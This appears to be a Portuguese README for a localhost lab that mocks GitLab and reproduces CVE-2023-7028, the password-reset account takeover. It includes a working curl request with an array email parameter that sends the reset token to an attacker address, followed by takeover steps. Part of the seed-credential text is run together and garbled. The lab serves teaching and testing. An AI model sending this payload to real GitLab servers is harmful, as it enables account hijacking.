
Instância GitLab vulnerável simulada que reproduz o sequestro de redefinição de senha da CVE-2023-7028. Demonstra a exploração do parâmetro de e-mail baseado em array e a tomada de conta. Apenas para uso educacional em laboratório.
CVE-2023-7028 (CVSS 10.0): POST /users/password aceitava o array user[email][] — o servidor encontrava o usuário por email[0], mas enviava o mesmo token de redefinição para todos os endereços → um atacante com [email protected] sequestra [email protected].
Afetados: GitLab CE/EE <16.5.6, <16.6.4, <16.7.2. Este mock reproduz o fluxo vulnerável da versão 16.6.0 (banco de dados JSON, sem SMTP).
npm install && npm start → http://127.0.0.1:3000 (ou PORT=3001 npm start; tenta novamente automaticamente se a porta estiver ocupada; somente localhost).
Dados iniciais: [email protected]/s3cur3P@ss!, , em .
[email protected]/BobSecure1![email protected]/5iveL!fedata/users.jsoncurl -X POST http://127.0.0.1:3000/users/password -d "user[email][][email protected]&user[email][][email protected]"
Verifique http://127.0.0.1:3000/mailbox ou /api/emails — ambos recebem o mesmo token. Abra .../users/password/edit?reset_password_token=TOKEN para assumir o controle.
Normal: user[email][email protected] → um e-mail. A caixa de entrada mostra todos os e-mails; nada sai do host.
MIT — somente laboratório, não exponha.